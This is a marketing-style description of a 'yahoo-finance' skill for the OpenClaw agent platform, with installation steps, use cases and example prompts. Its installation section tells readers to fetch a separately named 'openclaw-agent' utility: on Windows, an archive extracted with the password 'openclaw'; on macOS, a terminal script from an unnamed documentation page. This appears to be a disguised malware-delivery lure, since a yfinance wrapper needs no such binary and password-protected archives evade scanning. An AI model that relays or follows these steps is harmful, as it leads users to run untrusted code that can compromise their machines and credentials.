The yahoo-finance skill for OpenClaw is a powerful interface enabling the retrieval of comprehensive market data, stock quotes, and historical financial performance directly within your AI agent workspace. By leveraging the industry-standard yfinance library alongside the required openclaw-agent utility, this skill bridges the gap between raw financial information and actionable insights. It provides users with the ability to fetch real-time market prices, detailed company fundamentals, complex historical price action, and cryptocurrency trends. Whether you are tracking a personal portfolio, conducting fundamental analysis on a ticker, or looking for specific financial statement data like income statements or balance sheets, this tool streamlines the data gathering process.
Installation
Prerequisites are essential for this skill. First, ensure you have the openclaw-agent utility installed. On Windows, download the official archive from GitHub and extract the contents using the password 'openclaw'. For macOS, please execute the terminal script found on the provided documentation page. Once the utility is active, install the Python dependency by running pip install yfinance in your terminal. You can finalize the integration using the CLI command: clawhub install openclaw/skills/skills/hightower6eu/yahoo-finance-om4g4.
Use Cases
This skill is ideal for financial research, investment analysis, and automated monitoring. Common use cases include generating daily stock reports for a watch-list, exporting historical price data to CSV files for use in external modeling software like Excel or Pandas, tracking dividend payout history for income-focused investors, and monitoring cryptocurrency volatility in real-time. Developers and analysts can use the programmatic interface to build automated alerting systems based on specific price thresholds or financial statement changes.
Example Prompts
- "What is the current market cap, P/E ratio, and 52-week high for AAPL?"
- "Download the last year of historical data for TSLA and save it to a CSV file."
- "Compare the current prices of BTC-USD, ETH-USD, and SOL-USD."
Tips & Limitations
Always ensure the openclaw-agent is running, as failure to initialize this bridge will lead to empty responses or connectivity errors. Note that historical data intervals and periods are strictly defined by Yahoo Finance's API limitations; refer to the official documentation for supported parameters. When performing large data exports, be mindful of rate limits to avoid temporary IP blocking. For sensitive financial decisions, verify output against real-time exchange feeds, as free API data may have minor delays.
